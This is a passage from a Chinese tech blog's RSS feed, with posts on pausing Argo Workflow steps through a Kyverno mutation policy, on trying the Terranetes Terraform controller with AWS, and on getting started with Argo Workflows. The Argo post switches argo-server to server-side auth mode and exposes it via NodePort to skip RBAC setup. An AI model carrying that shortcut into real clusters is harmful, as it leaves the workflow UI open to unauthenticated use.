    &amp;quot;Workflow-ID&amp;quot;: &amp;quot;pause-3141592654ft97&amp;quot;,
    &amp;quot;TemplateName&amp;quot;: &amp;quot;whalesay&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交集群后，可以看到，暂停状态取消，流程变为 &lt;code&gt;Succeeded&lt;/code&gt; 状态。&lt;/p&gt;

&lt;h2 id=&#34;调试&#34;&gt;调试&lt;/h2&gt;

&lt;p&gt;Shell Operator 在工作过程中难免会出现问题，我主要依赖的三板斧：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;使用 &lt;code&gt;kubectl logs&lt;/code&gt; 查看 Pod 日志。&lt;/li&gt;
&lt;li&gt;进入 Operator Pod，修改脚本，重复触发&lt;/li&gt;
&lt;li&gt;脚本中加入 echo 语句，或者保存 &lt;code&gt;BINDING_CONTEXT_PATH&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>用 Kyverno 让 Argo Workflow 单步执行</title>
      <link>/post/%E7%94%A8-kyverno-%E8%AE%A9-argo-workflow-%E5%8D%95%E6%AD%A5%E6%89%A7%E8%A1%8C/</link>
      <pubDate>Thu, 18 Jul 2024 22:59:35 +0800</pubDate>
      <guid>/post/%E7%94%A8-kyverno-%E8%AE%A9-argo-workflow-%E5%8D%95%E6%AD%A5%E6%89%A7%E8%A1%8C/</guid>
      <description>

&lt;p&gt;AWS 的 SSM Automation 中，有个有趣的特性就是单步执行，在编写自动化脚本的时候，这个功能对调试非常有帮助。Argo Workflow 也有个暂停特性，官网给出的例子是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: pause-after-
spec:
  entrypoint: whalesay
  templates:
    - name: whalesay
      container:
        image: argoproj/argosay:v2
        env:
          - name: ARGO_DEBUG_PAUSE_AFTER
            value: &#39;true&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把他提交到 Argo 会看到暂停的情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ argo submit --watch debug.yml
Name:                pause-after-hpvg9                                                                                                                                          [0/1455]
Namespace:           default
ServiceAccount:      unset (will run with the default ServiceAccount)
Status:              Running
Conditions:
 PodRunning          True
Created:             Thu Jul 18 23:18:46 +0800 (18 seconds ago)
Started:             Thu Jul 18 23:18:46 +0800 (18 seconds ago)
Duration:            18 seconds
Progress:            0/1

STEP                  TEMPLATE  PODNAME            DURATION  MESSAGE
 ● pause-after-hpvg9  whalesay  pause-after-hpvg9  18s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;你会发现，这个 Workflow 会一直冻结在这个状态，&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ argo list
NAME                STATUS      AGE   DURATION   PRIORITY   MESSAGE
pause-after-hpvg9   Running     11m   11m        0
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这时候只要进入 Pod，执行一个命令，工作流就会完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it pause-after-hpvg9 -- bash
root@pause-after-hpvg9:/# touch /proc/1/root/var/run/argo/ctr/main/after
root@pause-after-hpvg9:/# command terminated with exit code 137
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 Argo 的 Watch 也发生了变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;STEP                  TEMPLATE  PODNAME            DURATION  MESSAGE
 ✔ pause-after-hpvg9  whalesay  pause-after-hpvg9  21m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;问题来了，正常的工作流不会只有一个步骤，要实现单步执行的效果，就需要给每个步骤加入环境变量，是不是有点麻烦？我想到一个办法——用 Kyverno 做个自动补丁。只要 Workflow 加上一个 &lt;code&gt;debug&lt;/code&gt; 标签，就给所有步骤加入暂停标志。&lt;/p&gt;

&lt;p&gt;废话不多说，上策略代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: add-argo-debug-env
spec:
  rules:
    - name: add-debug-env-var
      match:
        resources:
          kinds:
            - argoproj.io/v1alpha1/Workflow
          selector:
            matchLabels:
              debug: &amp;quot;true&amp;quot;
          operations:
          - CREATE
      mutate:
        foreach:
          - list: request.object.spec.templates[]
            patchesJson6902: |-
              - path: /spec/templates/{{elementIndex}}/container/env/-
                op: add
                value:
                  name: ARGO_DEBUG_PAUSE_AFTER
                  value: &amp;quot;true&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段策略有几个要点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;selector&lt;/code&gt; 指定，只处理带有 Debug 标签，并且操作为 &lt;code&gt;CREATE&lt;/code&gt; 的&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;foreach&lt;/code&gt; 语法，处理工作流中出现的每一个步骤&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;patchesJson6902&lt;/code&gt; 方式，给每个步骤的容器加入 &lt;code&gt;ARGO_DEBUG_PAUSE_AFTER&lt;/code&gt; 环境变量。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;提交策略之后，用如下任务脚本测试一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: debug314159-
  labels:
    debug: &amp;quot;true&amp;quot;
spec:
  entrypoint: whalesay
  templates:
    - name: whalesay
      container:
        image: argoproj/argosay:v2
    - name: whalesayagain
      container:
        image: argoproj/argosay:v2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交工作流：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ argo submit debug.yml
Name:                debug314159-dvqmw
Namespace:           default
ServiceAccount:      unset (will run with the default ServiceAccount)
Status:              Pending
Created:             Fri Jul 19 00:11:15 +0800 (now)
Progress:
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看生成的工作流：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
...
  labels:
    debug: &amp;quot;true&amp;quot;
    workflows.argoproj.io/completed: &amp;quot;false&amp;quot;
    workflows.argoproj.io/phase: Running
  name: debug314159-dvqmw
  namespace: default
...
spec:
...
  - container:
      env:
      - name: ARGO_DEBUG_PAUSE_AFTER
        value: &amp;quot;true&amp;quot;
      image: argoproj/argosay:v2
...
  - container:
      env:
      - name: ARGO_DEBUG_PAUSE_AFTER
        value: &amp;quot;true&amp;quot;
      image: argoproj/argosay:v2
      name: &amp;quot;&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，Kyverno 给每个步骤都加入了环境变量，这样一来，就实现了单步执行的效果。&lt;/p&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;这个办法还有个问题，就是恢复太麻烦了，我打算接下来用 Shell Operator 来解决。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;不明白为什么 Argo Workflow 没有给这种步骤设置一个暂停状态。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Terranetes</title>
      <link>/post/terranetes-controller-intro/</link>
      <pubDate>Sun, 07 Jul 2024 06:58:46 +0800</pubDate>
      <guid>/post/terranetes-controller-intro/</guid>
      <description>

&lt;h2 id=&#34;iac-不只是-terraform&#34;&gt;IaC 不只是 Terraform&lt;/h2&gt;

&lt;p&gt;虽然几年前的一次讨论中，我嘲讽过某同事说，Terraform 目前最靠谱的 Provider，也就只有 Kubernetes 一个而已，相对于顾头不顾尾的 Provider 来说，Kubernetes + Operator 才是正道；然而形势比人强，目前 Terraform 的确是能帮用户踏上 IaC 旅程的方便法门。&lt;/p&gt;

&lt;p&gt;就像 Kubernetes 之于云原生，对于 IaC 来说，Terraform 也同样有着 Day2 的问题。并且由于面对更大范围、更大成本的调度能力，Terraform 的管控也面临更大的挑战。例如工作流、合规、安全、成本等方面的考虑，以及偏差检测、模块安全等特性的应用，都是摆在管理员面前的明显问题。围绕这一工具，想要构建一个稳健的自助平台，是个颇为复杂的困难过程。&lt;/p&gt;

&lt;h2 id=&#34;terranetes-简介&#34;&gt;Terranetes 简介&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;appvia.io&lt;/code&gt; 是一个位于伦敦的解决方案厂商，它的开源项目 &lt;code&gt;Terranetes&lt;/code&gt; 就尝试解决 Terraform 的 Day2 问题。这个 golang 项目在 22 年开源，到现在为止，发布了一百多个 Release，Star 数量只有 135 个，上次代码更新是在两个月前，从运作成绩来看，似乎不太成功。然而从平台工程的角度来看，这个项目提供的众多特性，却是非常值得关注和致敬的。&lt;/p&gt;

&lt;p&gt;Terranetes 首页有这样一张图，形象地描述了这一产品的 IaC 治理思路：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/terranetes-controller-arch.png&#34; alt=&#34;governerce&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;工作流&#34;&gt;工作流&lt;/h3&gt;

&lt;p&gt;图里简单地描述了一个工作流，平台团队制定规则、开发团队申请资源，控制器接收申请、引用凭据、执行规范，按照流程中设定的审批、Lint 等环节，完成资源申请过程。&lt;/p&gt;

&lt;p&gt;他把用户明确地区分为平台和开发两种角色：&lt;/p&gt;

&lt;h4 id=&#34;平台团队&#34;&gt;平台团队&lt;/h4&gt;

&lt;p&gt;平台用户的主要职责是为开发者用户提供自助服务的基础支持：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;接入资源供应商&lt;/strong&gt;：用 CRD 的形式定义资源供应商，以此来支撑开发者使用指定供应商的资源。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;凭据管理&lt;/strong&gt;：管理接入资源供应商的身份凭据，开发者无需自行管理凭据，即可获得操作资源的权限。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;策略管理&lt;/strong&gt;：从成本、合规、安全等方面，提供策略支持，保障开发者对资源的有效使用。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;开发团队&#34;&gt;开发团队&lt;/h4&gt;

&lt;p&gt;开发者的职责相对集中一些：引用平台团队维护的凭据、规则、模板等，按照既定工作流进行资源的申请和使用。&lt;/p&gt;

&lt;h2 id=&#34;上手一试&#34;&gt;上手一试&lt;/h2&gt;

&lt;p&gt;官方提供了 Quick Start 文档，网络条件允许的话，几分钟就可以完成第一次资源分配。下面的例子我使用 AWS 作为资源供应商，本机的 OrbStack 提供给 Terranetes 作为控制器的 Kubernetes 运行平台。&lt;/p&gt;

&lt;h3 id=&#34;先决条件&#34;&gt;先决条件&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群&lt;/li&gt;
&lt;li&gt;AWS 账号，有能够创建 S3 Bucket 的 AK/SK&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;部署&#34;&gt;部署&lt;/h3&gt;

&lt;p&gt;基于 Helm 的老套部署方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm repo add appvia https://terranetes-controller.appvia.io
$ helm repo update
$ helm install -n terraform-system terranetes-controller appvia/terranetes-controller --create-namespace
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行后可以看到多出了 &lt;code&gt;terraform-system&lt;/code&gt; 命名空间，其中运行了两个控制器 Pod。&lt;/p&gt;

&lt;h3 id=&#34;crd&#34;&gt;CRD&lt;/h3&gt;

&lt;p&gt;看看多出了哪些 CRD：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl api-resources | grep terraform
cloudresources                                 terraform.appvia.io/v1alpha1      true         CloudResource
configurations                                 terraform.appvia.io/v1alpha1      true         Configuration
contexts                                       terraform.appvia.io/v1alpha1      false        Context
plans                                          terraform.appvia.io/v1alpha1      false        Plan
policies                                       terraform.appvia.io/v1alpha1      false        Policy
providers                                      terraform.appvia.io/v1alpha1      false        Provider
revisions                                      terraform.appvia.io/v1alpha1      false        Revision
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;官网文档用下图来描述对象之间的关系：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cloudresources.png&#34; alt=&#34;CRDs&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CloudResources&lt;/strong&gt;：这个对象用来描述 Terraform 中的云资源，CloudResources 会选择性的向用户公开属性，从而减少开发者的心智负担，并确保选项符合组织意图。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Revisions&lt;/strong&gt;：Revision 是云资源的模板，在实际环境中，应该是经过策划和测试的版本化资产，其中会包含组织所需的默认设置，并只公开与上下文相关的功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Revision 指向 Terraform 模块。&lt;/li&gt;
&lt;li&gt;包含平台希望模块默认设置的所有默认选项，并向消费者公开部分可见选项。&lt;/li&gt;
&lt;li&gt;可以跟踪 Terraform 模块，也可独立演进。&lt;/li&gt;
&lt;li&gt;所有 CloudResources 都会引用集群中的 Revision。&lt;/li&gt;
&lt;li&gt;要升级 CloudResource 消费者，需要更新其指向的 Revision。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Configurations&lt;/strong&gt;：另一种描述云资源的方法，相对于 CloudResource，它相对传统一些，采用了和 Module 进行一对一连接的方式。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Providers&lt;/strong&gt;：用来连接云资源提供方的定义。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plans&lt;/strong&gt;：无需主动创建，随 &lt;code&gt;Revision&lt;/code&gt; 对象的定义自然产生。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Policies&lt;/strong&gt;：对策略的引用，其中包含了 &lt;code&gt;Checkov&lt;/code&gt; 规则的引用方法、对 Module 的限制。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Contexts&lt;/strong&gt;：上下文提供了一种在配置之间共享通用配置的方法。集群中任何组件都可以引用该资源。&lt;/p&gt;

&lt;h3 id=&#34;配置凭据和-provider&#34;&gt;配置凭据和 Provider&lt;/h3&gt;

&lt;p&gt;接下来配置用来连接 AWS：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl -n terraform-system create secret generic aws \
--from-literal=AWS_ACCESS_KEY_ID=${AWS_AK} \
--from-literal=AWS_SECRET_ACCESS_KEY=${AWS_SK} \
--from-literal=AWS_REGION=${AWS_AGN}
secret/aws created
$ export PROVIDER=&amp;quot;https://raw.githubusercontent.com/appvia/terranetes-controller/master/examples/provider.yaml&amp;quot;
$ kubectl apply -f $PROVIDER
provider.terraform.appvia.io/aws created
provider.terraform.appvia.io/aws-irsa created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 Provider 对象的 &lt;code&gt;spec&lt;/code&gt; 内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  spec:
    preload:
      cluster: wayfinder-production
      context: default
      enabled: false
      region: eu-west-2
    provider: aws
    secretRef:
      name: aws
      namespace: terraform-system
    source: secret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中指定了 AWS 作为资源供应商，并且使用前面的 Secret 作为连接凭据。&lt;/p&gt;

&lt;h3 id=&#34;配置-revision&#34;&gt;配置 Revision&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export REV=&amp;quot;https://raw.githubusercontent.com/appvia/terranetes-controller/master/examples/revision.yaml&amp;quot;
$ kubectl apply -f ${REV}
revision.terraform.appvia.io/bucket.v1 created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;打开 Revision 文件，能够大致观察到其中包含的信息：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;configuration&lt;/strong&gt;：其中有 Module 的地址、Context 引用、Provider 引用以及&lt;strong&gt;默认值&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;inputs&lt;/strong&gt;：这里定义了用户可以控制的内容（此处只有 &lt;code&gt;bucket&lt;/code&gt; 可写）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;plan&lt;/strong&gt;：则定义了该对象所属的计划。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;Revision&lt;/code&gt; 中定义的 &lt;code&gt;Plan&lt;/code&gt; 也被自动创建了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get plan bucket -o yaml
apiVersion: terraform.appvia.io/v1alpha1
kind: Plan
metadata:
  ...
spec:
  revisions:
  - name: bucket.v1
    revision: v0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;使用-plan-revision-创建资源&#34;&gt;使用 Plan-&amp;gt;Revision 创建资源&lt;/h2&gt;

&lt;p&gt;上面两节完成了平台管理或者资源管理角色的任务，接下来要真正地申请资源了。这里需要创建如下的 &lt;code&gt;CloudService&lt;/code&gt; 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: terraform.appvia.io/v1alpha1
kind: CloudResource
metadata:
  name: bucket
spec:
  plan:
    name: bucket
    revision: v0.0.1
  providerRef:
    name: aws
  writeConnectionSecretToRef:
    name: test
  variables:
    bucket: forever8384
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行之后，我们会看到，系统中有了一个运行成功的 &lt;code&gt;Job&lt;/code&gt; 对象，以及一个 &lt;code&gt;CloudResource&lt;/code&gt; 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get jobs
NAME                  COMPLETIONS   DURATION   AGE
bucket-tgbrl-1-plan   1/1           28s        8m37s
$ kubectl get cloudresources.terraform.appvia.io
NAME     PLAN     REVISION   SECRET   CONFIGURATION   ESTIMATED     UPDATE   SYNCHRONIZED   AGE
bucket   bucket   v0.0.1     test     bucket-tgbrl    Not Enabled   None     OutOfSync      8m50s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;任务已经完成，打开 AWS 控制台，也找不到我们要的 Bucket。看看 Job 对应的 Pod 日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl logs -f bucket-tgbrl-1-plan-lj7hd
[info] Checking if required flags have been provided.
[info] Waiting 10 seconds for pod logs to be available (attempt 1/15)..
[info] waiting for the job to be scheduled
...
  # aws_s3_bucket_server_side_encryption_configuration.this[0] will be created
  + resource &amp;quot;aws_s3_bucket_server_side_encryption_configuration&amp;quot; &amp;quot;this&amp;quot; {
...
  # aws_s3_bucket_versioning.this[0] will be created
  + resource &amp;quot;aws_s3_bucket_versioning&amp;quot; &amp;quot;this&amp;quot; {
...
Plan: 6 to add, 0 to change, 0 to destroy.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;搞 Terraform 的读者会看得出来，他似乎只做了 Plan，没有做实际的 Apply。&lt;/p&gt;

&lt;p&gt;文档解释说，默认情况下，资源的创建是需要被批准的，除非是使用了注解：&lt;code&gt;terraform.appvia.io/apply=true&lt;/code&gt;，所以我们现在加入这个：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl annotate cloudresources bucket &amp;quot;terraform.appvia.io/apply&amp;quot;=true --overwrite
cloudresource.terraform.appvia.io/bucket annotated
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来会看到一个新的 Job 在运行，类似 &lt;code&gt;bucket-l6jkf-1-apply-xp45d&lt;/code&gt; 这样的名称。这个 Pod 运行成功之后，会看到 S3 桶已经创建。&lt;/p&gt;

&lt;h3 id=&#34;客户端&#34;&gt;客户端&lt;/h3&gt;

&lt;p&gt;Terranetes 还有个叫 &lt;code&gt;tnctl&lt;/code&gt; 的命令行客户端软件，提供了任务跟踪、审批等能力，避免大量使用 &lt;code&gt;kubectl&lt;/code&gt; 来完成这些任务。&lt;/p&gt;

&lt;h2 id=&#34;其他&#34;&gt;其他&lt;/h2&gt;

&lt;h3 id=&#34;偏差检测&#34;&gt;偏差检测&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;CloudResource&lt;/code&gt; 有个字段 &lt;code&gt;spec.enableDriftDetection&lt;/code&gt;，设置为 &lt;code&gt;True&lt;/code&gt; 就可以启动偏差检测。例如上面的 CloudResource，我们修改这个字段为 True 之后，删除对应的桶，一段时间之后，这个资源就会变成 &lt;code&gt;OutOfSync&lt;/code&gt; 状态。&lt;/p&gt;

&lt;h3 id=&#34;监控&#34;&gt;监控&lt;/h3&gt;

&lt;p&gt;Controller 自带了 Prometheus 的指标抓取端口，提供了请求数、延迟时间等简单的指标。&lt;/p&gt;

&lt;p&gt;除了这些基本功能之外，Terranetes 还能对接 &lt;code&gt;Infracost&lt;/code&gt; 进行成本数据采集和预测，不过这是个商业产品，就没有进一步尝试了。&lt;/p&gt;

&lt;p&gt;总之，Terranetes 提供了一个相对全面的框架，其中展示的工作流、策略、分权等设计，都是很好的范本，很值得工具平台、IaC 相关方案的设计者们参考和学习。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Argo Workflow 组织跨云运维的可能性</title>
      <link>/post/argo-and-cloud/</link>
      <pubDate>Thu, 02 May 2024 21:39:17 +0800</pubDate>
      <guid>/post/argo-and-cloud/</guid>
      <description>

&lt;p&gt;在微服务、容器化和 IaC 等概念普及之前，自动化通常是使用过程性操作进行的，例如摘流——升级——恢复的过程。为了运维方便，通常这些操作序列会由所谓的运维流程编排工具完成，例如 AWS 的 SSM Automation，或者阿里云的 OOS 等。随着运维自动化的要求逐步提高，这些工具的编排能力也逐步扩展，出现了插件扩展、循环、跳转等更复杂的行为，甚至还出现了人工审批等蜜汁操作。自动化的编排复杂度也不断延伸——AWS 公开的作业脚本中已经出现了超过 3000 行 50 个步骤的庞然大物。&lt;/p&gt;

&lt;p&gt;古时候的自动化运维通常是围绕着虚拟机进行的——管你是谁家的机器，只要你开了 SSH，或者装了我家的 Agent，你就跟我姓了。但是随着公有云服务能力的不断扩展，虚拟机的运维操作占比就逐步降低了，围绕 API 进行的运维能力逐步超过了虚拟机，成为主流。&lt;/p&gt;

&lt;p&gt;不管有用没用，多云已经成为部分架构师的口头禅了。再加上前面的两个情况—— SRE 平台需要有一个能跨云的、面向 API 的、具备复杂编排能力并且能用编程方式进行扩展的自动化工具了，另外随着面对资源规模的不同，必要的并发能力和横向扩展的能力也是必要的。经过一番比对，我觉得 Argo Workflow 可能是个合适的选择。&lt;/p&gt;

&lt;p&gt;Argo 大概于 2017 年以 GitOps 工具的形态，由 Intuit 发布，2020 年进入 CNCF 孵化，2022 年毕业，现在已经成长为包含 Argo CD、Argo Workflows、Argo Events 以及 Argo Rollouts 的生态群，并在 2022 年开始有了 Argo Con 峰会。&lt;/p&gt;

&lt;h2 id=&#34;架构&#34;&gt;架构&lt;/h2&gt;

&lt;p&gt;&lt;img src=&#34;images/diagram.png&#34; alt=&#34;arch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;根据官方提供的组件图可以看出：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Argo Workflows 运行在 Kubernetes 集群里。&lt;/li&gt;
&lt;li&gt;可以利用 Kubernetes API 对 Argo 进行控制。&lt;/li&gt;
&lt;li&gt;用户可以通过 CLI、Kubectl 和 Web UI 三种方式和 Argo 进行交互。&lt;/li&gt;
&lt;li&gt;可以对接外部 idP，让 Argo Workflows 具备单点登录能力&lt;/li&gt;
&lt;li&gt;Workflow 也是以 Pod 的形式在集群中运行的。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;下图则是对工作流的一个描述。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/workflow-overview.jpeg&#34; alt=&#34;overview&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里不难发现，Argo Workflow 除了支持工作流之外，还支持了 DAG，它的工作流节点是用多容器 Pod 的形式运行的——每个 Pod 中包含 Wait、Init 和 Main 三个容器。&lt;/p&gt;

&lt;h2 id=&#34;功能&#34;&gt;功能&lt;/h2&gt;

&lt;p&gt;Argo Workflow 提供了非常丰富的自动化编排能力。流程方面，提供了循环、条件、递归、暂停、恢复等常见内容；容错方面提供了超时、重试、异常捕捉/跳转等能力；另外他还支持脚本执行、变量定义和处理、工件传递等用于应对复杂场景的功能。功能方面，个人评估是略强于 AWS 的 SSM Automation 的。&lt;/p&gt;

&lt;h2 id=&#34;起步&#34;&gt;起步&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;下文均用目前的 &lt;code&gt;v3.5.6&lt;/code&gt; 为例&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Argo Workflows 的快速部署方式非常简单，下面两行命令即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace argo
namespace/argo created
$ kubectl apply -n argo -f https://github.com/argoproj/argo-workflows/releases/download/v3.5.6/install.yaml
...
priorityclass.scheduling.k8s.io/workflow-controller created
deployment.apps/argo-server created
deployment.apps/workflow-controller created
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;当然，这只是一个测试环境的玩法，项目也用 Helm Chart 的方式提供了用于生产环境的部署途径。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;服务启动后，可以看到两个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get po -n argo
NAME                                   READY   STATUS    RESTARTS   AGE
workflow-controller-5bb8788d57-sxnv2   1/1     Running   0          29s
argo-server-67bcf4bb48-sq9jp           1/1     Running   0          29s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了简化使用可以进行一点修改：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl patch deployment \
  argo-server \
  --namespace argo \
  --type=&#39;json&#39; \
  -p=&#39;[{&amp;quot;op&amp;quot;: &amp;quot;replace&amp;quot;, &amp;quot;path&amp;quot;: &amp;quot;/spec/template/spec/containers/0/args&amp;quot;, &amp;quot;value&amp;quot;: [
  &amp;quot;server&amp;quot;,
  &amp;quot;--auth-mode=server&amp;quot;
]}]&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;默认的认证方式需要使用 Service Account，并且需要进行较多的 RBAC 配置，有些复杂，所以这里改成了服务侧自行认证。&lt;/p&gt;

&lt;p&gt;然后把服务改成 NodePort：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl patch svc argo-server -n argo -p &#39;{&amp;quot;spec&amp;quot;: {&amp;quot;type&amp;quot;: &amp;quot;NodePort&amp;quot;}}&#39;
service/argo-server patched
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样，就可以在获取端口后，直接浏览器直接访问 Argo UI 了（注意这里默认使用的是 https 协议）。&lt;/p&gt;

&lt;p&gt;教程中提供了一个 &lt;code&gt;Hello World&lt;/code&gt; 流程，内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: hello-world-
  labels:
    workflows.argoproj.io/archive-strategy: &amp;quot;false&amp;quot;
  annotations:
    workflows.argoproj.io/description: |
      This is a simple hello world example.
spec:
  entrypoint: whalesay
  templates:
  - name: whalesay
    container:
      image: docker/whalesay:latest
      command: [cowsay]
      args: [&amp;quot;hello world&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个简单的 YAML 可以看到 Argo 工作流定义中的基本元素：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;这是一个 CRD，类型是 &lt;code&gt;argoproj.io/v1alpha1&lt;/code&gt; 的 &lt;code&gt;Workflow&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;这一清单需要重复使用，因此 &lt;code&gt;metadata&lt;/code&gt; 中没有给出 Name，而是给出了 &lt;code&gt;generateName&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;spec.templates&lt;/code&gt; 中保存的步骤的定义，并使用 &lt;code&gt;spec.entrypoint&lt;/code&gt; 指定了入口环节。&lt;/li&gt;
&lt;li&gt;仅有的一个步骤中，使用一个容器镜像，并指定了执行命令，输出一段文字。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl create&lt;/code&gt; 提交工作流，看看结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create -f install.yaml
workflow.argoproj.io/hello-world-fdddc created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用浏览器打开控制台，浏览 &lt;code&gt;workflows&lt;/code&gt; 页面，可以看到，出错了：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/argo-hello-error.png&#34; alt=&#34;wrong hello&#34; /&gt;&lt;/p&gt;

&lt;p&gt;错误原因也很 Kubernetes，就是 RBAC 权限不足：&lt;/p&gt;

